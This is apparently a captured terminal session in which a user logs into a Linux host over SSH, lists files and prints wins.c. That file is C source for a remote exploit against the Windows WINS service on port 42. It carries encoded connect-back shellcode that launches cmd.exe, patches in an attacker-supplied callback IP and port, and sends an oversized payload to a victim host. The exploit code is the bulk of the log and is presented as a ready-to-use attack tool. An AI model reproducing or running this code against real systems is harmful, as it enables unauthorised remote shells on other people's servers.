whoaah@box2:~$ ssh plumbe.de -lgr4vy

The authenticity of host 'plumbe.de (62.75.208.21)' can't be established.

RSA key fingerprint is db:87:f8:98:35:47:79:88:29:68:29:5b:03:3f:4c:9e.

Are you sure you want to continue connecting (yes/no)? yes

Warning: Permanently added 'plumbe.de,62.75.208.21' (RSA) to the list of known hosts.


Password: 

Last login: Wed Dec 22 11:56:39 2004 from 127.0.0.1

Have a lot of fun...

]2;gr4vy@vs208021:~]1;vs208021gr4vy@vs208021:~> ls -al

total 1282

drwxr-xr-x    7 gr4vy    users        2048 Jan  2 16:02 .

drwxr-xr-x    9 root     root         2048 Dec  6 19:18 ..

-rw-------    1 gr4vy    users         982 Jan  1 18:14 .bash_history

drwxr-xr-x    4 gr4vy    users        2048 Jun 22  2004 .etwolf

-rw-r--r--    1 gr4vy    root           20 Jul 12 11:14 .forward

-rw-r--r--    1 gr4vy    users       24616 Sep 16 18:28 .ircrc

-rw-r--r--    1 gr4vy    users          44 Sep 16 18:28 .ircrc.backup

-rw-r--r--    1 gr4vy    users          87 Aug 21 14:47 .login

-rw-------    1 gr4vy    users         153 Dec 22 09:23 .mysql_history

-rw-------    1 gr4vy    users         654 Aug 21 14:38 .viminfo

drwx------    9 gr4vy    users        2048 Jul 12 14:25 Maildir

-rw-r--r--    1 root     root        24616 Nov 21  2003 TinyIrcrc

-rw-r--r--    1 root     root        34888 Jan 17  2002 TinyIrcrc.Help

-rw-r--r--    1 root     root         8743 Nov 10  2003 TinyIrcrc.history

-rw-r--r--    1 root     root       467555 Dec 30 14:38 access_log-20041230.gz

-rw-r--r--    1 root     root       714152 Dec 30 14:44 error_log

drwxrwxr-x   11 127      wheel        2048 Aug 21 14:09 ircii-20040820

-rwxrwxrwx    1 gr4vy    users          29 Aug 21 15:32 ircs

drwxr-xr-x   10 gr4vy    users        2048 Jan  2 16:03 public_html

drwxr-xr-x    2 root     root         2048 Oct 31 22:05 test

-rw-r--r--    1 gr4vy    users        3756 Jan  1 15:56 wins.c

]2;gr4vy@vs208021:~]1;vs208021gr4vy@vs208021:~> uname -a

Linux vs208021 2.4.20-021stab022.8.777-enterprise #1 SMP Fri Nov 12 10:42:02 MSK 2004 i686 i686 i386 GNU/Linux

]2;gr4vy@vs208021:~]1;vs208021gr4vy@vs208021:~> cat wins.c

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <sys/socket.h>

#include <time.h>

#include <netinet/in.h>

#include <curses.h>

#include <unistd.h>

#include <errno.h>

#include <netdb.h>

#include <signal.h>

#include <sys/types.h>

#include <sys/time.h>

#include <sys/select.h>

#include <netinet/in.h>

#include <arpa/inet.h>



char shellcode[] =

"\xeb\x25\xe9\xfa\x99\xd3\x77\xf6\x02\x06\x6c\x59\x6c\x59\xf8"

"\x1d\x9c\xde\x8c\xd1\x4c\x70\xd4\x03\x58\x46\x57\x53\x32\x5f"

"\x33\x32\x2e\x44\x4c\x4c\x01\xeb\x05\xe8\xf9\xff\xff\xff\x5d"

"\x83\xed\x2c\x6a\x30\x59\x64\x8b\x01\x8b\x40\x0c\x8b\x70\x1c"

"\xad\x8b\x78\x08\x8d\x5f\x3c\x8b\x1b\x01\xfb\x8b\x5b\x78\x01"

"\xfb\x8b\x4b\x1c\x01\xf9\x8b\x53\x24\x01\xfa\x53\x51\x52\x8b"

"\x5b\x20\x01\xfb\x31\xc9\x41\x31\xc0\x99\x8b\x34\x8b\x01\xfe"

"\xac\x31\xc2\xd1\xe2\x84\xc0\x75\xf7\x0f\xb6\x45\x09\x8d\x44"

"\x45\x08\x66\x39\x10\x75\xe1\x66\x31\x10\x5a\x58\x5e\x56\x50"

"\x52\x2b\x4e\x10\x41\x0f\xb7\x0c\x4a\x8b\x04\x88\x01\xf8\x0f"

"\xb6\x4d\x09\x89\x44\x8d\xd8\xfe\x4d\x09\x75\xbe\xfe\x4d\x08"

"\x74\x17\xfe\x4d\x24\x8d\x5d\x1a\x53\xff\xd0\x89\xc7\x6a\x02"

"\x58\x88\x45\x09\x80\x45\x79\x0c\xeb\x82\x50\x8b\x45\x04\x35"

"\x93\x93\x93\x93\x89\x45\x04\x66\x8b\x45\x02\x66\x35\x93\x93"

"\x66\x89\x45\x02\x58\x89\xce\x31\xdb\x53\x53\x53\x53\x56\x46"

"\x56\xff\xd0\x89\xc7\x55\x58\x66\x89\x30\x6a\x10\x55\x57\xff"

"\x55\xe0\x8d\x45\x88\x50\xff\x55\xe8\x55\x55\xff\x55\xec\x8d"

"\x44\x05\x0c\x94\x53\x68\x2e\x65\x78\x65\x68\x5c\x63\x6d\x64"

"\x94\x31\xd2\x8d\x45\xcc\x94\x57\x57\x57\x53\x53\xfe\xca\x01"

"\xf2\x52\x94\x8d\x45\x78\x50\x8d\x45\x88\x50\xb1\x08\x53\x53"

"\x6a\x10\xfe\xce\x52\x53\x53\x53\x55\xff\x55\xf0\x6a\xff\xff"

"\x55\xe4";



char mess[] =

"\x00\x03\x0d\x4c\x77\x77\xFF\x77\x05\x4e\x00\x3c\x01\x02\x03\x04"

//  "\x00\x03\x0d\x4c\x77\x77\xFF\x77\x05\x4e\x00\x3c\x01\x02\x03\x04"



"\x6c\xf4\x3d\x05\x00\x02\x4e\x05\x00\x02\x4e\x05\x00\x02\x4e\x05\x00\x02\

x4e\x05\x00\x02\x4e\x05\x00\x02\x4e\x05\x00\x02\x4e\x05\x00\x02\x4e\x05";

char rep[] =



"\x90\x01\x4e\x05\x90\x00\x4e\x05\x90\x00\x4e\x05\x90\x00\x4e\x05\x90\x00\

x4e\x05\x90\x00\x4e\x05\x90\x00\x4e\x05\x90\x03\x4e\x05\x90\x00\x4e\x05";

void usage();



int main(int argc, char *argv[])

{ 

int i,sock,sock2,sock3,addr,len=16;

int rc;

  unsigned long XORIP = 0x93939393;

  unsigned short XORPORT = 0x9393;

int cbport;

long cbip;



struct sockaddr_in mytcp;

struct hostent * hp;



if(argc<4 || argc>4)

usage();



cbport = htons(atoi(argv[3]));

cbip = inet_addr(argv[2]);

cbport ^= XORPORT;

cbip ^= XORIP;

memcpy(&shellcode[2],&cbport,2);

memcpy(&shellcode[4],&cbip,4);



char mess2[200000];

memset(mess2,0,sizeof(mess2));

char mess3[210000];

memset(mess3,0,sizeof(mess3));

int ir;

for(ir =0;ir<200000;ir++)mess2[ir]='\x90';

memcpy(mess3,mess,sizeof(mess)-1);

int r=0;int le=sizeof(mess)-1;

for(r;r<30;r++)

{

memcpy(mess3+le,rep,sizeof(rep)-1);

le+=sizeof(rep)-1;

}

memcpy(mess3+le,mess2,200000);

memcpy(mess3+le+198000,shellcode,sizeof(shellcode));

int lenr=le+200000+sizeof(shellcode);

hp = gethostbyname(argv[1]);



addr = inet_addr(argv[1]);



sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

if (!sock)

{ 

//printf("socket() error...\n");

exit(-1);

}



mytcp.sin_addr.s_addr = addr;



mytcp.sin_family = AF_INET;



mytcp.sin_port=htons(42);



printf("[*] connecting the target\n");



rc=connect(sock, (struct sockaddr *) &mytcp, sizeof (struct 

sockaddr_in));

printf("[*] sending exploit\n");

send(sock,mess3,lenr,0);

printf("[*] exploit sent\n");

sleep(5);

shutdown(sock,1);

close(sock);

shutdown(sock,2);

close(sock2);

shutdown(sock,3);

close(sock3);

exit(0);

}



void usage()

{

unsigned int a;

printf("\nUsage: <victim-host> <connectback-ip> <connectback port>\n");

printf("Sample: ZUC-WINShit www.vulnwins.com 31.33.7.23 31337\n\n");

exit(0);

}]2;gr4vy@vs208021:~]1;vs208021gr4vy@vs208021:~> ls -al

total 1282

drwxr-xr-x    7 gr4vy    users        2048 Jan  2 16:02 .

drwxr-xr-x    9 root     root         2048 Dec  6 19:18 ..

-rw-------    1 gr4vy    users         982 Jan  1 18:14 .bash_history

drwxr-xr-x    4 gr4vy    users        2048 Jun 22  2004 .etwolf

-rw-r--r--    1 gr4vy    root           20 Jul 12 11:14 .forward

-rw-r--r--    1 gr4vy    users       24616 Sep 16 18:28 .ircrc

-rw-r--r--    1 gr4vy    users          44 Sep 16 18:28 .ircrc.backup

-rw-r--r--    1 gr4vy    users          87 Aug 21 14:47 .login

-rw-------    1 gr4vy    users         153 Dec 22 09:23 .mysql_history

-rw-------    1 gr4vy    users         654 Aug 21 14:38 .viminfo

drwx------    9 gr4vy    users        2048 Jul 12 14:25 Maildir

-rw-r--r--    1 root     root        24616 Nov 21  2003 TinyIrcrc

-rw-r--r--    1 root     root        34888 Jan 17  2002 TinyIrcrc.Help

-rw-r--r--    1 root     root         8743 Nov 10  2003 TinyIrcrc.history

-rw-r--r--    1 root     root       467555 Dec 30 14:38 access_log-20041230.gz

-rw-r--r--    1 root     root       714152 Dec 30 14:44 error_log

drwxrwxr-x   11 127      wheel        2048 Aug 21 14:09 ircii-20040820

-rwxrwxrwx    1 gr4vy    users          29 Aug 21 15:32 ircs

drwxr-xr-x   10 gr4vy    users        2048 Jan  2 16:03 public_html

drwxr-xr-x    2 root     root         2048 Oct 31 22:05 test

-rw-r--r--    1 gr4vy    users        3756 Jan  1 15:56 wins.c

]2;gr4vy@vs208021:~]1;vs208021gr4vy@vs208021:~> uname -a

Linux vs208021 2.4.20-021stab022.8.777-enterprise #1 SMP Fri Nov 12 10:42:02 MSK 2004 i686 i686 i386 GNU/Linux

]2;gr4vy@vs208021:~]1;vs208021gr4vy@vs208021:~>